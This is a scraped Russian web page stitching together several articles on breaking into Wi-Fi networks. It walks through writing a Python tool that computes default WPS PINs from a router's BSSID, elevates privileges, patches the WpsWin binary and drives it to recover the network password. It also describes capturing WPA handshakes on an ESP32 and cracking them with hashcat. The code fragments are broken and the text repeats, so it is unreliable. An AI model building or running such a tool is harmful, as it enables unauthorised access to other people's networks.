Как написать программу для взлома wi fi

Работа пентестера основана на законом взломе и довольно часто возникает необходимость подключиться к WiFi, не зная пароль. Технология WPS уже давно помогает пентестерам взламывать WiFi. В нашей сегодняшней статье мы посмотрим, как самостоятельно реализовать атаку на WiFi, основанную на слабостях алгоритмов генерации WPS PIN.

Большинство сегодняшних роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который дает возможность меньше чем за минуту установить надежное соединение между устройством и маршрутизатором, минуя этап настройки шифрования и ввода пароля. Девайсы подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор не несут никакой ответственности за любой возможный вред, причиненный материалами этой статьи. Взлом WiFi преследуется по закону!

Из всего разнообразия методов взлома WiFi:

  • подбор ПИН-кода или ключа безопасности методом перебора (брутфорс);
  • использование уязвимостей реализации;
  • социальная инженерия;
  • использование слабостей генерации ПИН-кодов.

В сегодняшней статье мы рассмотрим последний метод из списка.

СТИЛЛЕР WI-FI НА PYTHON

Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.

Откуда берут стандартный PIN

При покупке маршрутизатора, в нем уже содержится полученный специальным алгоритмом WPS PIN для начального подключения к роутеру через WPS. WPS PIN состоит из восьми цифр. Как производители роутеров его получают? Очевидно, что нужно нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.

BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Часто BSSID совпадает с MAC-адресом устройства Ethernet MAC.

Генерация WPS PIN на примере

Как вы уже поняли, все начинается с BSSID. Подключаем к сети наш сeксуaльный роутер.

взлом wifi python

Анализируем любым удобным способом (например, Dumpper).

взлом wifi python

BSSID получили: C4:6E:1F:6A:8D:04.

Пришло время пошалить: открываем браузер и начинаем искать на различных (в том числе и на буржуйских) сайтах и форумах, как работают алгоритмы генерации PIN-кодов у конкретного производителя сетевого оборудования. Если нет желание это делать, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.

как взломать wi fi через PowerShell

Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].

Вот реализация этого алгоритма на Python.

Источник: spy-soft.net

Пишем утилиту для взлома Wi-Fi на Python

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр.Восьмая цифра — дайджест.

Читайте также:
Как разделить слово программа для переноса

Вся информация предоставлена исключительно в ознакомительных целях. Ни Амино,ни автор не несут ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным устройствам преследуется по закону!

Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа сWPS можно выделить следующие:

1.Подбор ПИН-кода или ключа безопасности методом грубой силы;

2.Использование уязвимостей реализации;

4.Использование слабостей генерации ПИН-кодов.

В этой статье мы остановимся на последнем методе из списка.

Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.

Откуда берут стандартный PIN

Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PINдля первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — этоMAC устройства, который мы можем получить из широковещательного BSSID.

BSSID (Basic Service Set Identifier)— уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC.

Генерация WPS PIN на примере

Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа. ¯_(ツ)_/¯

Анализируем любым удобным способом (например, Dumpper).

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях

Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.

Предположим,мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].

Вот реализация этого алгоритма на Python.

from mathimport floor

One = Two =(int(MAC, 16)

6.WpsWin (входит в состав того самого Dumpper);

Сразу,забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.

Автозапуск с правами администратора

Для автозапуска мы будем использовать следующий код:

if __name__ == «__main__»:

Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.

Если такой вариант не устраивает, то всегда можно воспользоваться готовыми решениями.

pyuac — готовый скрипт для повышения прав в Windows

Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):

from mathimport floor

var += 3 * (temp % 10)

temp = floor(temp / 10)

temp = floor(temp / 10)

return (mac * 10) + ((10 — (var % 10)) % 10)

А также несколько функций генерации заветных ПИН-кодов.

далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием.

Читайте также:
Что такое отладка программы что называется тестом

temp = int(BSSID,16) 0xFFFFFF) ^0x55AA55

temp += ((temp % 9) * 1000000) + 1000000

temp = int(BSSID, 16) + 1

temp = format(int(BSSID, 16), ’02x’)

var = [int(temp[0:2], 16), int(temp[2:4],16), int(temp[4:6], 16), int(temp[6:8], 16),

int(temp[8:10], 16), int(temp[10:12], 16)]

for i in range(7):

pin.append((var[i % 6] + var[5]) % (10 -((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))

temp = int(».join(str(i) for i in pin))

Разумеется,нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем.

Вот что нам необходимо проделать с исполняемым файлом:

1.найти передаваемые аргументы для взаимодействия через командную строку;

2.отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;

3.пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.

Первая нужная функция находится по адресу 0x004012A0.

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Вторую можно найти по 0x00403370, а третья — это локальная меткаосновной функции.

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Ошибка при невозможности подключения к беспроводной точке доступа

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Сообщение о некорректном ключе для подключения

По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.

Самозначение передается аргументом второй, найденной нами функции.

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Патчим через «Edit →Patch program → Assemble…» и сохраняем.

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Подключение по WPS

Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат.

from timeimport sleep

cmd = ‘WpsWin.exe Action=RegistrarESSID=»%s» PIN=%s’ % (ESSID, str(PIN))

for LINE in run_command(cmd):

if «Asociacion fallida» in LINE:

print («Connection with %s hasn’tbeen established!» % ESSID)

elif «Pin incorrecto» in LINE:

elif «Wpa Key» in LINE:

print(«nTRUE PIN FOUND!nGettingthe Wi-Fi password. n»)

К сожалению,WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим.

results = run_command(«netsh wlan shownetworks mode=bssid»)

results = [i for i in results]

for line in results:

if «BSSID» in line:

elif «SSID» in line:

print («Available wireless networks atthe moment:n»)

print («%d — %s» % (i, j))

network = input(«nChoose the wirelessnetwork > «)

network = int(network) — 1

Угадываем WPS PIN

Еще несколько десятков кликов по клавиатуре, и код готов.

algos =[pin24, pinDLink, pinDLinkInc1, pinASUS]

print («nTrying connect to %s via %stechnique with PIN: %s» % (wifiname,i.__name__,pin))

Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит!

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

Пишем утилиту для взлома Wi-Fi на Python-[IMG=JFYCM] Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Prote

вознаграждение за труды

Если же тебе, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.

1.Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.

2.Придумать иной способ получения списка беспроводных сетей.

3.Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.

4.Добавить проверку на наличие у беспроводной точки доступа технологии WPS.

5.Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.

6.Добавить звуковое оповещение, когда будет найден верный ПИН-код.

Что у насесть по результатам:

+10 к интеллекту скиллу разработки средств автоматизированного тестирования;

Читайте также:
Какая программа для прослушивания музыки ВК

небольшой список алгоритмов генерации ПИН-кодов;

работающая утилита тестирования слабостей генерации WPS PIN;

пароль от беспроводной сети.

Источник: aminoapps.com

Взлом wi-fi 2.4 Ггц на ESP32 M5Stack

Важно!: Данная статья служит для того чтобы обезопасить Вашу wi-fi сеть от взлома. Если будете повторять данный проект, то будете делать это только на свой страх и риск. Я же в своем случае, проверял его работу исключительно на своей wi-fi сети.

В общем поехали. Существует проект, созданный на esp32 на M5stack плате. Который включает в себя sniffer про который я уже писал статью. И определенный набор механизмов. Которые позволяют найти в wi-fi сетях hendshake(рукопжатие) который содержит в себе пароль от wifi сети и сохраняет его в файл на SD карточку.

Как его установить описывать не буду. Думаю те кому это необходимо смогут это сделать руководствуясь статьей с гитхаба.

Значит еще раз. При запуске данная программа начинает сканировать все сети на всех wi-fi каналах. И если например в данный момент сканируется 5 канал. И на этом 5том канале у нас есть например wi-fi сеть “test”. И к этой сети подключается какое-то устройство.

То монстр который нарисован на экране заулыбается и в глазах загорятся сердечки. Также сохранится файл на sd карту в формате .pcap .

Но если программа работает в автоматическом режиме поиска, то есть большая вероятность что сканируя сутки, вы ничего не найдете. Просто не попадете на нужный канал в то время когда будет подключение. По этому лучше всего просканировать сначала сеть узнать какая wifi сеть на каком канале висит. Например это можно сделать на той же плате m5stack загрузив в нее скетч из проекта: http://psenyukov.ru/wi-fi-%d0%b0%d0%bd%d0%b0%d0%bb%d0%b8%d0%b7%d0%b0%d1%82%d0%be%d1%80-%d1%81%d0%b5%d1%82%d0%b8-%d0%bd%d0%b0-m5stack/

После того как узнали нужный нам канал. Переводим устройство на нужный канал и сканируем. И все довольно быстро произойдет.

После получения .pcap файла на sd карту (карта должна быть не более 4 гб) к нему можно подобрать пароль. Для этого его нужно сначала преобразовать в файл .hccapx. Для этого существует утилита hashcat: https://hashcat.net/cap2hccapx/index.pl . И также к преобразованному файлу .hccapx нужно будет в дальнейшем подобрать пароль, путем перебора или используя словари. Для этого тоже используется программа hashcat. Скачивается с тогоже сайта https://hashcat.net/hashcat/

В интернете есть уйма информации как данной программой пользоваться. В целях того чтоб каждый проходящий мимо этого не смог сделать, я не буду этого описывать.

Теперь что касается того чтоб обезопасить себя.

  1. Делайте более сложный пароль, где имеются буквы, цифры и разны регистр. Такой пароль довольно сложно подобрать и возможно что такой пароль в словаре не будет содержаться.
  2. Если у Вас устройства все поддерживают 5Ггц. То лучше перейти на него. Так как m5stack на esp32 поддерживает только 2.4 гГц.
  3. Возможно сделать скрытым ssid. Который не будет видиться при сканировании сети. И только Вы будете знать его название и подключаться к нему в ручную.
  4. Также можно шифрование изменить на wi-fi сети.

Источник: psenyukov.ru

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru